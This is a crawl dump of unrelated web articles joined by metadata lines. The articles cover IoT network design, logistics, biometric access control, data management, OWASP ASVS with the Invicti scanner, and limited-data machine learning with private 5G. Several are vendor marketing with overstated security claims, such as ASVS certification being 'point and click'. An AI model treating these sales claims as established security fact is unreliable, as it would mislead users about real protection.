If the industry is to realize the promised benefits of IoT, we must increase the ability to support more machine-to-machine communications in near-real time. In applications like autonomous vehicles, latency requirements are on the order of a couple of milliseconds. GSMA, the international association for mobile technology, has specified that 5G's latency should be 1 millisecond, which is 50 times better than 4G's current 50 milliseconds.
Satisfying these requirements involves a radical rethink about how and where we deploy assets throughout the network. For example, routing and backing up data using a traditional star-type network design will become increasingly unfeasible. The vast amount of traffic and the latency demands would easily overwhelm a north-south data flow. So topologies are being re-designed to provide more east-west connectivity.
Link reliability will be every bit as critical as latency. This will involve multiple failovers wherever that data is being transported. For vehicle guidance, for example, the job of collecting, processing and storing the information may be shared among an assortment of curbside micro data centers and smart-city-enabled street fixtures.
Compute/storage capacity moves to the edge
Traditionally, when we needed to go faster we increased bandwidth. Eventually you get to the point where you run out of bandwidth, even on optical glass. Given the amount of data we’re talking about with IoT, that time will be sooner rather than later. One of the few tools left is the ability to decrease the distance the data has to travel.
So IoT data is increasingly being processed at the device via the SoC (system on a chip) and stored at the network edge. Alternatively, the device may send the raw data directly to compute/storage assets at the network edge for processing and storage. In either case, this allows network operators to increase the link capacity between the device and the compute/storage location.
Supporting all these edge nodes means deploying more mesh-type designs that can meet the required failover reliability and latency requirements. Each node will need multiple service delivery points and parallel peer-to-peer connectivity, meaning a lot more fiber. On the other hand, a side benefit of this design will be reduced traffic on the backhaul network, since only data that is needed will have to be backhauled to the data center.
Standardizations to drive and scale development
M2M communications requires a high degree of automated service delivery and resource allocation, creating challenges for network security, API security and identity management. Organizations such as IEEE and the OpenFog Consortium are working toward standards for automatically authenticating each node on the network without human intervention. To be effective in a vendor-agnostic network, these solutions must be integrated into all the sensors, devices and other IoT hardware. That will require buy-in from the OEMs.
The need for standardization is also driving changes in infrastructure. A near-future goal of 5G, for example, is to enable virtual network slicing. Dividing the infrastructure into independent virtual networks enables operators to create an independent standardized layer above the control plane, from which they can deliver proprietary value-added services. A major challenge is prioritizing and routing the traffic to ensure that any operator-specific service would operate within the same SLAs on every other provider network.
The challenge isn’t just bandwidth — using techniques such as wave-division multiplexing (WDM) or coherent transmission, enough bandwidth can be created — but it would also require standardizing parts of the providers’ infrastructure to support the virtual network slicing. It’s an issue of cooperative design. This type of standardization would eventually lead to the development of off-the-shelf modular network components that could be used to dramatically reduce the time and cost of maintaining the network and reduce mean-time-to-repair.
More clarity and even more questions
It will most likely be a few years before we see the kind of broad scale IoT deployments that will warrant the changes mentioned here. But as the pieces start to fall in place, the rate of change will accelerate. As far as timing, industrial applications are already beginning to emerge and more will gradually be introduced based on their ability to demonstrate ROI.
Service providers may be a bit ahead of the curve, thanks to their experience with more edge-based processing, storage and delivery systems. While much of their investment in the access network is in optimizing their radio networks (xRAN), it’s unclear how much of that knowledge can be transferred to support the IoT ecosystem. Who will be at the new “beach front” first and what will they need when they get there? For all the clarity we’ve gained since 2014, there are still lots of questions. | <urn:uuid:74034697-db79-4a2e-8bdc-b933a3e898a7> | CC-MAIN-2022-40 | https://direct.datacenterdynamics.com/en/opinions/how-iot-reshaping-network-design/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337322.29/warc/CC-MAIN-20221002115028-20221002145028-00136.warc.gz | en | 0.933147 | 1,144 | 2.671875 | 3 |
What is logistics?
Logistics is the process of managing the transportation of goods from a point of origin to their final destination. It’s more specifically referred to as supply chain management, or logistics management, and can be incredibly complex with a lot of moving parts that need to be managed carefully to meet the customer’s requirements.
Logistics generally requires logisticians (the staff at logistics companies responsible for implementation of the logistics process) to work with many different logistics service providers, each responsible for separate segments of the product journey, right from raw material, materials handling and the final order fulfilment.
Warehousing, and warehouse management, is also a critical part of logistics and works in with inventory management to help with e-commerce order fulfilment, particularly around optimising rapid delivery and demand planning.
Demand planning includes forecasting customer demands at the point of sale, sometimes automation is involved to update the flow of goods to meet rising, or falling, demand. This is tied up with the goal of logistics, which is to achieve customer satisfaction by making sure inbound finished products from distributors arrive right on time, when and where they’re needed.
Logisticians will often work with procurement staff to help them meet their inventory control needs in a cost-effective way, minimising waste but ensuring a positive customer experience.
The lifecycle of goods in the world of logistics may include reverse logistics, where goods are taken from the point of consumption back the way they came through to the original supplier, for the purpose of recycling or safe disposal.
Logisticians will often manage the outsourcing of different logistics activities including transportation management (including companies like Fedex) as well as storage of goods, which are all part of supply chain management. They will work with third-party logistics providers to make sure the movement of goods between transportation modals is not disrupted and there is free information flow, often using shared databases or APIs that make it possible for independent businesses to “talk” to each other to achieve logistics function in an automated way. | <urn:uuid:b6fe194e-1919-49fd-a4da-26dcea990862> | CC-MAIN-2022-40 | https://inseego.com/resources/fleet-glossary/what-is-logistics/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337432.78/warc/CC-MAIN-20221003200326-20221003230326-00136.warc.gz | en | 0.966096 | 416 | 3.171875 | 3 |
Biometric Access Control Systems, The Extra Security Layer That Your Business Needs.
Access control systems have been providing businesses with protection for quite some time now. However, with the appearance of more sophisticated technologies, access control systems have adopted multiple devices to provide their users with a safer alternative compared to their traditional counterparts. One of those more modern alternatives is Biometric Access Control.
What is a Biometric Access Control System?
Biometric Access Control Systems use physical characteristics like fingerprints, handprints, iris scans, and facial recognition to identify, grant and/or deny access to individuals into a facility. The implementation of biometrics gives businesses multiple advantages such as:
Accuracy and Security
Biometric Authentication is considered one of the safest identification methods on the market due to its high level of precision. Biometric systems are based on probabilistic security measures. On the other hand, traditional methods are based on deterministic measures. Probabilistic methods compare the physical characteristics of the person trying to get access with the information stored in the database to determine if access can be granted. Contradictory to probabilistic methods, deterministic measures rely on memory and the ability of the user to imitate a behavior to grant access. For example, passing a key card or knowing a code. Deterministic measures can easily be imitated, but probabilistic measures can’t.
Increasing Experience to Save Money
Implementing a biometric authentication method eliminates the need for employees to carry key cards or learn complicated pin codes. It also allows laborers to freely commute around the areas in which their access is authorized. Biometrics systems protect companies against human error as well as allow businesses to save money on lost credentials and security breaches.
Increasing On-Site Control
Access cannot be transferred when implementing biometric authentication. If an individual wants to gain access to a certain area inside a business previous registration is required.
Securely Stored Data
Biometric data is stored as an encrypted numeric value making it almost impossible to decode. At the same time, biometric data can be stored in a variety of different ways, such as distributed storage. This gives the user the chance to store data in external and internal devices for increased protection.
Facial recognition systems analyze the facial features of a user and turn the information into a series of coordinates. Those coordinates are then used by the system to determine whether the person trying to access a facility is allowed into these areas or not. If the system detects an intruder, an alert plus picture and video footage will be sent to the administrator of the network. This enables the administrator to identify who and when someone tries to gain access.
Multi-Factor Authentication (MFA) gives Biometric Access Control Systems an extra layer of protection. Choose the best fitting MFA method for the company and use it to increase security.
Some of these MFA methods include,
Physical objects: chips, credit cards, keys, etc.
Biometric Characteristics: fingerprints, iris recognition, voice recognition, etc.
Alphanumeric Passwords: Numeric pins, passwords, and questions only the user will know.
Graphic passwords: A set of symbols or patterns.
OTP (One Time Use) passwords.
So, what are you waiting for? Give us a call today and let our biometric access control experts help you choose the system that’s right for your business. With so many benefits to be had, there’s no reason not to make the switch to this cutting-edge security technology. We look forward to hearing from you soon! Call us free of charge at 800-435-7284 and schedule a free consultation! | <urn:uuid:6cfa30b1-5841-4fe2-bf3c-497a4d99c1bb> | CC-MAIN-2022-40 | https://www.btigroup.com/post/biometric-access-control-your-business-needs | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337432.78/warc/CC-MAIN-20221003200326-20221003230326-00136.warc.gz | en | 0.89734 | 760 | 2.609375 | 3 |
As the world moves on from a dark pandemic, there are a few positive takeaways from experience. One of those positives is how much technology has advanced in the past few years, especially in data. A recent article reported that 90% of the world’s data was generated between 2019 and February 2022. A stunning number that portrays how much of an essential asset data has become.
Organizations revolve around data nowadays, but that does not mean they are adept at handling data. The quick increase in data generation and storage in the past two years has meant that data management strategies still haven’t caught up.
Unstructured, raw data fragmented across various platforms is unsuitable to meet modern enterprise needs of long-term safe protection, rapid discovery, and easy recovery.
Enter Data Management. The objective of a modern data management strategy is to transform or refine raw data into a valuable resource.
But as mentioned earlier, technology is always on the move, and as technology advances, it brings about contemporary issues that require modern solutions. And this blog will delve into modern data management, its benefits, and how to create a modern data management strategy.
What is Modern Data Management?
Organizations demand more versatility and compatibility in storing and managing vast data. The data is collected, processed, analyzed, and refined from various platforms and sources.
Cloud computing, robust data integration tools, multi-layered security systems, and the implementation of machine learning are all excellent examples of modern solutions that deal with the ever-changing data management loopholes.
The ability to handle data collected from newer sources with cutting-edge technology differentiates data management from modern data management.
Therefore, modern data management is upgrading and adopting new technologies to handle the constant developments related to data storage and management regulations.
Modern data management is a comprehensive, multi-disciplinary approach involving current data analytic and technological tools and several thorough processes to streamline the massive amounts of data collected and aid in other complex data management tasks.
Why do you need Modern Data Management?
The fundamental basis of modern data management revolves around implementing new-age technology and tools to get a grasp on data that is increasingly becoming complex and difficult to process.
Earlier data management processes and architectures like big data management and data warehousing could not cope with the massive amounts of data and the complicated nature of collecting the data.
There is a multiplication in the number of sources and platforms like social media where you can mine data compared to 5 years ago.
These complications are why organizations shift to modern data management strategy and architecture.
By 2025, reports indicate that the world will generate about 463 exabytes of data. With thousands of new devices being connected to the internet daily, it is safe to say that data will become ever more valuable.
This growth projection calls for solid and comprehensive modern data management strategies.
How to create a Modern Data Management Strategy [5 Key Steps]
Modern data management includes several multi-faceted processes, but more importantly, it is an ongoing process once operations begin. Therefore, getting the strategy close to perfect is of utmost importance.
Here are five critical procedural steps to help build an effective strategy:
1. Identify and realign business objectives related to data
The first and most significant step warrants a successful modern data management program: re-exploring the organization’s needs.
- What are the organization’s goals?
- How will this data help us achieve our goals?
- Is the identifying and realigning related to it wanting to understand customers better, or
- Better understand the marketing landscape, or
- Is it to innovate, establish a product/service, or even deal with internal organizational affairs?
Going over these factors will help you better create a data management strategy. This understanding is the basis for determining which tools, processes, and technologies align perfectly with your organization’s objectives.
2. Build sustainable but effective data processes
Once you know your organization’s goals and objectives, the next step is building a framework for the various data management activities. Also known as master data management strategy, this is where you will discuss data as a whole –
- What happens when data is received?
- From where is it collected?
- Where is it stored, analyzed, and distributed?
You will later implement these processes in your modern data management architecture. This streamlined link between these processes massively helps handle vast amounts of data consistently.
3. Look for and adopt the right technology
In modern data management, identifying the right technology is paramount. Getting this right can give you a competitive edge.
As mentioned earlier, modern data management is all about adopting newer tools that ensure that your data management is not limited but flexible and can adapt to constant advancements in technology.
Consider these six factors while choosing your data management platform:
- Is your data automatically captured and protected centrally?
- Does your data management platform preserve your information in an operational infrastructure separate from your primary data sources?
- Is your information in the data management solution immutable and tamper-proof?
- Is your data archive preserved in highly durable storage?
- Can you find and extract data easily and quickly?
- Does your data management platform optimize costs along the entire data lifecycle?
Therefore, it is vital to research the latest technology comprehensively and look for the perfect tools that work with your organization’s goals and data processing framework.
4. Adhering to stringent regulations and data governance laws
Over the past few years, industry regulators have been getting stricter, and governments have passed various laws protecting privacy and data.
Establishing data governance in your organization means taking responsibility and accountability for proper data usage and storage in alignment with regulations and laws.
5. Build a Strong Team
However much we talk about data management automation, there is still a need for a robust knowledgeable group of experts who can overlook the functioning of the processes.
While adopting newer tools and technologies, providing the proper training to your employees becomes a priority. A successful modern data management program is when every employee understands the strategy, where they fit in it, their role, and how to execute it successfully.
Related: Five data management best practices
Benefits of Modern Data Management
Now that we have looked into how to create a modern data management strategy, here are some additional benefits of encouraging your organization to invest in a current data management system –
- Modern data management improves operational effectiveness, productivity, and decision-making.
- A seamless modern data management system ensures smooth and streamlined functioning of data processes. The improved processes enable smoother transactions with customers and partners and help you adopt ongoing trends, keeping you a step ahead of competitors.
- Reduces the risk of data loss. An excellent modern data management architecture includes a cloud data management strategy and a robust backup system that allows you to retrieve any lost data quickly.
- With the implementation of data governance, you can handle the security and privacy of data well. It eliminates the chances of data breaches and regulatory compliance issues.
- A modern data management platform is flexible and can adapt to evolving situations quickly.
- A modern data management solution deploys strategies to optimize costs even as your data volume grows.
Data will continue to be a significant resource in the foreseeable future. As multitudes of devices connect to the internet, data generated would only explode in unscalable numbers. But in all of this, there is a catch – you don’t need all of the world’s data.
You need a system that minimizes data relevant to your organization and transforms it into a valuable asset that brings success to your organization.
A modern data management system is a must for all organizations who want to continue growing in the future and manage the growing data effectively. They can use the above-given strategies to create their system, or better and easier yet; they can partner with data management experts like Vaultastic.
Vaultastic is one of the world’s most prominent data management and archival service providers. From archiving data to creating agile data management systems, Vaultastic can provide you with the right solutions for your modern data management needs. Start by taking a free trial of our system, and you will realize that Vaultastic is the right partner to help you with the right modern data management strategy. | <urn:uuid:23a122eb-a418-41ec-b80d-c5124ae7dff9> | CC-MAIN-2022-40 | https://vaultastic.mithi.com/blogs/create-a-modern-data-management-strategy-in-five-steps/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337537.25/warc/CC-MAIN-20221005042446-20221005072446-00136.warc.gz | en | 0.914791 | 1,701 | 2.78125 | 3 |
What is OWASP?
In December 2001, the Open Web Application Security Project (OWASP) was established as an international not-for-profit organization aimed at web security discussions and enhancements. For practically their entire existence, OWASP has kept track of perhaps every type of hack that could be done. Everything from social engineering, poor authentication systems cross-site scripting, DOM XSS, SQL injection, general software vulnerabilities, and more. Basically OWASP kept track and encouraged the web community to continually secure everything as best as possible.
OWASP’s mission has always been to encourage the best security practices by not only highlighting the most exploited and critical vulnerabilities but also acting as leadership in the security community to ensure education and understanding reach as many administrators as possible. Since 1999, the Common Vulnerabilities and Exposures (CVE) dictionary has existed to keep track of and alerts consumers and developers alike of known software vulnerabilities.
OWASP has kept itself mostly focused on keeping record of the most common CVEs during its tenure, and usually its suggestions focused on understanding the vulnerabilities by general categorization. Now, after an initial attempt in 2009 and reviewing industry feedback, OWASP is focusing on a strictly defined standardization to help prevent CVEs in the first place.
Standardizing Security’s More Dynamic Side
When dealing with web application security, there exists a trifecta of three main areas of entry that are most commonly exploited by hackers:
- the people that hold privileged access to the application;
- the services that support the application;
- the functions of the application itself.
Privileged access is valued the most, especially when going for high-value targets and not just trying to blindly run a few scripts against a website. There exists a critical amount of social engineering in all of the biggest hacks in the past few years. In fact, even the most prestigious security researchers themselves are not immune from such techniques.
Kaspersky Lab, a prominent figure in the security industry famous for uncovering nation-state attacks such as Stuxnet, recently found itself the target of just such an incredibly detailed and intricate precision spear phishing attack not seen outside of clandestine cyber warfare against Iran and other nations. Services are also high-value targets, especially as of recently. The infamous HEARTBLEED and Shellshock vulnerabilities were not part of the most popular categories in OWASP top 10 list, but that did not stop them from quickly becoming among the most critical of the past decade.
The services that support a web application find themselves usually in one of two categories when it comes to attacks: a specific vulnerability exploited with precise focus, such as a 0day, or a broad vulnerability attacking a major weakness, such as a distributed denial-of-service attack. Typically, most service-based attacks fall in the latter category, but recently precision attacks have been making headlines, namely due to their widespread effect because of the ubiquity of the software being used.
However, the functions of the web application itself fall into the most commonly exploited categories year after year. For over a decade, the SQL injection vulnerability remained at the top of OWASP’s top 10 list of vulnerabilities, with over 6,500 major, widespread vulnerabilities in 15 years affecting both open- and closed-source software. The difficulty in preventing these kinds of attacks stems from the fact that the web application itself is highly dynamic, thus no easy “apply this patch” sort of fix exists. It is through the Application Security Verification Standard (ASVS) that OWASP intends to provide focus to development’s dynamic by providing strict and explicitly defined security guidelines.
How Invicti Can Help in Writing More Secure Web Applications
Typically a web application security scanner is applied after the fact, when the development of the web application has mostly been done already. Yet development, at the time of writing the code itself, can benefit from a web scanner as well. In good coding practice, unit tests are employed in all major functional areas of software. Here, too, a scanner can be used effectively as another level of unit testing.
From the screenshot above you can already see how Invicti can provide a thorough assessment of not only particular vulnerabilities, but how they are classified by various existing definitions and standards, such as PCI compliance and OWASP vulnerability classifications.
This is indeed a highly useful tool when investigating a web application, however it is usually applied after the application is mostly developed, as we mentioned earlier.
Introducing Security During the Early Stages of Web Application Development
In fact, major organizations like Microsoft encourage the practice of running security analysis synchronously with development — known as a Security Development Lifecycle. Invicti Enterprise even has an API system that could be triggered from continuous build systems, like Atlassian Bamboo or Jenkins, to provide real-time and automated web application security audits. These assessments and classifications can be equally, if not more so useful during the development stage, as they save time, money, and potential major headaches.
Introduction to OWASP ASVS
The OWASP ASVS standard has various levels of classification, ranged 0 through 3, starting a cursory verification (preliminary scans, for example) all the way through advanced where the application is secured against all known and potential threats. By definition, the zeroth classification is intended by OWASP to be where scanners are utilized, but Invicti provides opportunity to reach all the way to the extended areas of advanced classification, too. This is because of Invicti’s in-depth heuristics, advanced scanning features including authentication and user input, and especially its incredible flexibility to be fine-tuned for specifics that are unique to each application.
In the OWASP ASVS standard, there exist various verification requirement categories, such as V2 – Authentication, V3 – Session Management, and so forth. Within these categories are specific requirements that must be met in order to satisfy various classification levels. For example, in the V2 – Authentication requirement category, V2.6 requires developers “verify all authentication controls fail securely to ensure attackers cannot log in” in order to meet at least level 1 “Opportunistic” certification. Invicti can go beyond the level 0 cursory scanning, helping to meet even level 3 “Advanced” certification by assisting a development team in testing and validating their application, in this instance by testing to validate the V2.6 requirement.
Other categories can find much benefit in the Invicti web security scanner, too. The V5 requirement category – “Malicious Input Handling” – is one of many categories where Invicti can particularly excel. V5.10, for example, requires developers “verify that the runtime environment is not susceptible to SQL Injection, or that security controls prevent SQL Injection” – an area Invicti checks thoroughly. In fact, Invicti is capable of identifying hundreds of vulnerability types, far exceeding the number of vulnerabilities to secure against to meet ASVS level 3 certification.
Utilize Tools to Comply with OWASP ASVS
A web scanner need not be limited to only finding after-the-fact vulnerabilities. Properly utilized, Invicti can help a development team satisfy even the most advanced requirements of the OWASP Application Security Verification Standard, in almost every category. With a good set of tools and a clever use thereof, being ASVS certified is as simple as point and click. | <urn:uuid:53cc8ccf-22e5-4104-a691-277af105bf08> | CC-MAIN-2022-40 | https://www.invicti.com/blog/web-security/owasp-asvs-web-development/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337537.25/warc/CC-MAIN-20221005042446-20221005072446-00136.warc.gz | en | 0.944729 | 1,548 | 2.640625 | 3 |
The focus of AI and ML innovation to-date has understandably been in those areas characterised by an abundance of labelled data with the goal of deriving insights, making recommendations and automating processes.
But not every potential application of AI produces enough labelled data to utilise such techniques – use cases such as spotting manufacturing defects on a production line is a good example where images of defects (for training purposes) are scarce and hence a different approach is needed.
Interest is now turning within academia and AI labs to the harder class of problems in which data is limited or more variable in nature, requiring a different approach. Techniques include: leveraging datasets in a similar domain (few-shot learning), auto-generating labels (semi-supervised learning), leveraging the underlying structure of data (self-supervised learning), or even synthesising data to simulate missing data (data augmentation).
Characterising limited-data problems
Deep learning using neural networks has become increasingly adept at performing tasks such as image classification and natural language processing (NLP), and seen widespread adoption across many industries and diverse sectors.
Machine Learning is a data driven approach, with deep learning models requiring thousands of labelled images to build predictive models that are more accurate and robust. And whilst it’s generally true that more data is better, it can take much more data to deliver relatively marginal improvements in performance.
Figure 1: Diminishing returns of two example AI algorithms [Source: https://medium.com/@charlesbrun]
Manually gathering and labelling data to train ML models is expensive and time consuming. To address this, the commercial world has built large sets of labelled data, often through crowd-sourcing and through specialists like iMerit offering data labelling and annotation services.
But such data libraries and collection techniques are best suited to generalist image classification. For manufacturing, and in particular spotting defects on a production line, the 10,000+ images required per defect to achieve sufficient performance is unlikely to exist, the typical manufacturing defect rate being less than 1%. This is a good example of a ‘limited-data’ problem, and in such circumstances ML models tend to overfit (over optimise) to the sparse training data, hence struggle to generalise to new (unknown) images and end up delivering poor overall performance as a result.
So what can be done for limited-data use cases?
A number of different techniques can be used for addressing these limited-data problems depending on the circumstances, type of data and the amount of training examples available.
- Few-shot learning
Few-shot learning is a set of techniques that can be used in situations where there are only a few example images (shots) in the training data for each class of image (e.g. dogs, cats). The fewer the examples, the greater the risk of the model overfitting (leading to poor performance) or adversely introducing bias into the model’s predictions. To address this issue, few-shot learning leverages a separate but related larger dataset to (pre)train the target model.
Three of the more popular approaches are meta-learning (training a meta-learner to extract generalisable knowledge), transfer learning (utilising shared knowledge between source and target domains) and metric learning (classifying an unseen sample based on its similarity to labelled samples).
Once a human has seen one or two pictures of a new animal species, they’re pretty good at recognising that animal species in other images – this is a good example of meta-learning. When meta-learning is applied in the context of ML, the model consecutively learns how to solve lots of different tasks, and in doing so becomes better at learning how to handle new tasks; in essence, ‘learning how to learn’ similar to a human – illustrated below:
Figure 2: Meta-learning [Source: www.borealisai.com]
Transfer learning takes a different approach. When training ML models, part of the training effort involves learning how to extract features from the data; this feature extraction part of the neural network will be very similar for problems in similar domains, such as recognising different animal species, and hence can be used in instances where there is limited data.
Metric learning (or distance metric learning) determines similarity between images based on a distance metric and decides whether two images are sufficiently similar to be considered the same. Deep metric learning takes the approach one step further by using neural networks to automatically learn discriminative features from the images and compute the distance metric based on these features – very similar in fact to how a human learns to differentiate animal species.
- Self-supervised & semi-supervised learning
Techniques such as few-shot learning can work well in situations where there is a larger labelled dataset (or pre-trained model) in a similar domain, but this won’t always be the case.
Semi-supervised learning can address this lack of sufficient data by leveraging the data that is labelled to predict labels for the rest hence creating a larger labelled dataset for use in training. But what if there isn’t any labelled data? In such circumstances, self-supervised learning is an emerging technique that sidesteps the lack of labelled data by obtaining supervisory signals from the data itself, such as the underlying structure in the data.
Figure 3 Predicting hidden parts of the input (in grey) from visible parts (in green) using self-supervised learning [source: metaAI]
- Data augmentation
An alternate approach is simply to fill the gap through data augmentation by simulating real-world events and synthesising data samples to create a sufficiently large dataset for training. Such an approach has been used by Tesla to complement the billions of real-world images captured via its fleet of autonomous vehicles for training their AI algorithms, and by Amazon within their Amazon’s Go stores for determining which products each customer is taking from the shelves.
Figure 4: An Amazon Go store [Source: https://www.aboutamazon.com/what-we-do]
Whilst synthetic data might seem like a panacea for any limited-data problem, it’s too costly to simulate for every eventuality, and it’s impractical to predict anomalies or defects a system may face when put into operation.
Data augmentation has the potential to reinforce any biases that may be present in the limited amount of original labelled data, and/or causing overfitting of the model by creating too much similarity within the training samples such that the model struggles to generalise to the real-world.
Applying these techniques to computer vision
Mindtrace is utilising the unsupervised and few-shot learning techniques described previously to deliver a computer vision system that is especially adept in environments characterised by limited input data and where models need to adapt to changing real-life conditions.
Pre-trained models bringing knowledge from different domains create a base AI solution that is fine-tuned from limited (few-shot) or unlabelled data to deliver state-of-the-art performance for asset inspection and defect detection.
Figure 6: Mindtrace [Source: https://www.mindtrace.ai]
This approach enables efficient learning from limited data, drastically reducing the need for labelled data (by up to 90%) and the time / cost of model development (by a factor of 6x) whilst delivering high accuracy.
Furthermore, the approach is auto-adaptive, the models continuously learn and adapt after deployment without needing to be retrained, and are better able to react to changing circumstances in asset inspection or new cameras on a production line for detecting defects, for example.
The solution is also specifically designed for deployment at the edge by reducing the size of the model through pruning (optimal feature selection) and reducing the processing and memory overhead via quantisation (reducing the precision using lower bitwidths).
Furthermore, through a process of swarm learning, insights and learnings can be shared between edge devices without having to share the data itself or process the data centrally, hence enabling all devices to feed off one-another to improve performance and quickly learn to perform new tasks (Bloc invested in Mindtrace in 2021).
The focus of AI and ML innovation to-date has understandably been in areas characterised by an abundance of labelled data to derive insights, make recommendations or automate processes.
Increasingly though, interest is turning to the harder class of problems with data that is limited and dynamic in nature such as the asset inspection examples discussed. Within Industry 4.0, limited-data ML techniques can be used by autonomous robots to learn a new movement or manipulation action in a similar way to a human with minimal training, or to auto-navigate around a new or changing environment without needing to be re-programmed.
Limited-data ML is now being trialled across cyber threat intelligence, visual security (people and things), scene processing within military applications, medical imaging (e.g., to detect rare pathologies) and smart retail applications.
Mindtrace has developed a framework that can deliver across a multitude of corporate needs.
Figure 7: Example Autonomous Mobile Robots from Panasonic [Source: Panasonic]
Industry 4.0 driving the need for 5G
Automation in Industry 4.0 sectors such as smart manufacturing, warehousing, mining and ports is driving increased demand for high performance connectivity. Wi-Fi is widely deployed today but is limited in terms of reliability and support for critical mobility use cases – 5G is much better placed to meet these needs.
In particular, 5G can meet requirements around high bandwidth and low latency, whilst also delivering resiliency through dedicated radio spectrum and has the flexibility to support full mobility ranging from indoor use to wide area outdoor coverage.
A common misconception is that many of these benefits are available within Wi-Fi 6, but whilst Wi-Fi 6 can offer high capacity, it can’t manage radio resources as efficiently as 5G and is intrinsically hampered by sharing unlicensed spectrum, whilst 5G using dedicated spectrum is inherently more reliable.
It would also be missing the point to say that 5G is simply a ‘faster 4G’ – 5G adopts a service-based architecture (SBA) which enables provisioning of customised network slices and zero-touch network operations that provides much finer granularity in how a 5G network can be set up and run.
5G is therefore growing in favour, 75% of manufacturers indicating that 5G is a key enabler within their digital transformation strategies [Capgemini’s global enterprise 5G survey].
Nevertheless, it’s not a clear homerun for 5G and to succeed it must provide the best of both worlds – the functionality, performance and reliability of 5G, twinned with the flexibility, control and ease of use of Wi-Fi deployments.
Delivering 5G to meet enterprise needs
- Option 1: a public 5G network slice
Network slicing is a new capability introduced in 5G that enables mobile network operators (MNOs) to leverage their public 5G infrastructure to provide virtualised private networks to enterprises.
A number of slice types have been defined within the 3GPP standards (3GPP TS23.501):
- eMBB (enhanced mobile broadband) – for applications requiring stable connections with very high peak data rates
- URLLC (ultra-reliable low latency communications) – for applications that have strict reliability and latency requirements such as industrial automation and autonomous vehicles (i.e., devices requiring mission critical connectivity)
- mMTC (massive machine-type communications) – to support a massive number of IoT devices within a defined area which are only sporadically active in sending small data payloads (e.g., sensors)
In a manufacturing example, a computer vision system used for monitoring a production line may require consistent throughput with an ultra-reliable connection and be best served by a URLLC slice, whilst sensors for monitoring humidity levels may only need to connect intermittently to send signals to a control centre and be adequately served using an mMTC slice.
But this approach may be too constraining for some enterprises – the slices being statically defined, whereas what many enterprises really want is the ability to control their connectivity on a more dynamic basis to map resources to an application as circumstances change (adaptive slicing).
As 5G public networks evolve towards fully cloud-native architectures, it will become possible to provision highly customised network slices tailored to specific services. But for now, MNO public 5G offerings are limited by the current approach of predefined eMBB, URLLC, and mMTC slices.
Given these constraints, enterprises are increasingly exploring the option of procuring their own 5G mobile private network (MPN) that can be tailored specifically to their needs.
- Option 2: a 5G mobile private network (MPN)
A 5G MPN is a 5G network (RAN and 5G core) that has been designed, configured and deployed specifically for a given enterprise customer.
Mobile networks are designed to utilise specific licensed spectrum, so the logical choice would be to procure an MPN from an MNO. But with the introduction of shared spectrum in many countries (including the UK) and open flexible architectures (via OpenRAN) there are now many new entrants entering the space offering solutions to enterprises either direct or through partnership.
This gives enterprises the flexibility to decide whether to go with a Managed Service Provider (MSP) that can fully design, deploy, configure and optionally operate the MPN for them (e.g., a school campus), or work with a selection of vendors and partners to assemble their own MPN infrastructure tailored to their requirements (e.g., smart manufacturing, ports, mining etc.).
Currently, all options and potential partnerships are being explored in the marketplace.
MNOs and incumbents such as Ericsson and Nokia are partnering to bring MPN propositions to their enterprise client base (e.g., Ericsson Industry Connect). But equally MNOs are also partnering up with challengers (Affirmed Networks, Parallel Wireless, Metaswitch, Mavenir, Celona et al) and leveraging cloud resources (e.g., Azure, AWS Wavelength) and enterprise IT partners (Cisco, IBM, Oracle) to increase their flexibility and agility in bringing solutions to market that encompass not only connectivity but also provide the cloud, edge and AI capabilities needed by enterprises for their end-end application delivery.
Whilst the necessity of acquiring licensed spectrum for 5G MPN deployments drives many of these players into partnering with the MNOs, in those markets where shared spectrum has been allocated, these players are also able to step up, adopt the role of a Managed Service Provider, and offer complete MPN solutions directly to enterprise clients. Nokia, Ericsson, Mavenir, Celona, Federated Wireless, Expeto and many more all have direct-to-market propositions, and the hyperscalers are also eying up the opportunity with both Amazon and more recently Google announcing MPN offerings, either developed in-house or through partnership (Google working with Betacom, Boingo, Celona and Kajeet in the US).
Enterprises are faced with many options, but this also gives them huge flexibility in finding the best match for their functional and operational needs and also affords them with higher levels of privacy by operating the infrastructure themselves rather than sharing infrastructure within a public network – for those in manufacturing, high security is a key driver in choosing an MPN over utilising a public 5G network slice.
Given the opportunity, it’s hardly surprising that deploying private 5G is a top priority now for IT decision makers in enterprises [Technalysis Research] and 76% of those in manufacturing plan to deploy 5G MPNs by 2024 [Accedian].
Optimising connectivity to match use cases
A key attraction for enterprises in deploying their own 5G MPN is the flexibility it gives them in optimising connectivity to match application requirements. This can be achieved through the definition of an ‘intent’ that states expectations on service delivery and network operation through the expression of a set of goals, functional requirements, and constraints.
The table below describes the requirements for example use cases within a factory automation context:
At a practical level, intents can be managed in a number of ways depending on the skillsets of the enterprise. For those enterprises with limited expertise, a set of low/no-code tools can be provided for defining intents, app/device group administration, and monitoring network and application performance as well as end-end security.
Conversely, for those wanting more fine-grained control, orchestration could be provided to DevOps teams through RESTful APIs with dynamic control over throughput, latency, packet error rate metrics, network segments / IP domains etc., and/or bootstrapped via Infrastructure as Code (IaC) templates – in short, the aim is to enable enterprises to configure and manage their 5G MPNs using DevOps-friendly interfaces as easily as Kubernetes enables them to do with cloud resources for their application and services.
Zeetta delivers on this vision by hiding the details of vendors and technology domains under a layer of abstraction and then enabling the enterprise application developers to consume these services in an end-to-end low/no-code fashion. This application-centric, end-to-end view also enables DevOps teams to independently innovate and operate applications without the need for centralized large networking groups.
The platform has been developed and trialled within the £9m 5G-ENCODE project, and provides enterprises with a ‘single pane of glass’ to visualise their end-to-end network as well as a set of automation features for optimal network management:
- Automates the design, scheduling and provisioning of network slices in line with intents specifying connectivity and QoS requirements; intents can be predefined or can be modelled; public 5G slices can also be sub-sliced through the use of a policy-based scheduler to provide more fine-grained control in multiplexing multiple applications over a single slice resource
- Facilitates performance monitoring of each network slice, flagging any deviations from the targeted intent and helping the enterprise team to determine the root cause and remediate, e.g., by adapting a slice as needed to best serve the affected application
- Similarly, automates fault isolation hence speeding issue resolution and delivering a better overall MPN quality & robustness
- Modifies application intent where needed to keep pace with varying application requirements as circumstances change
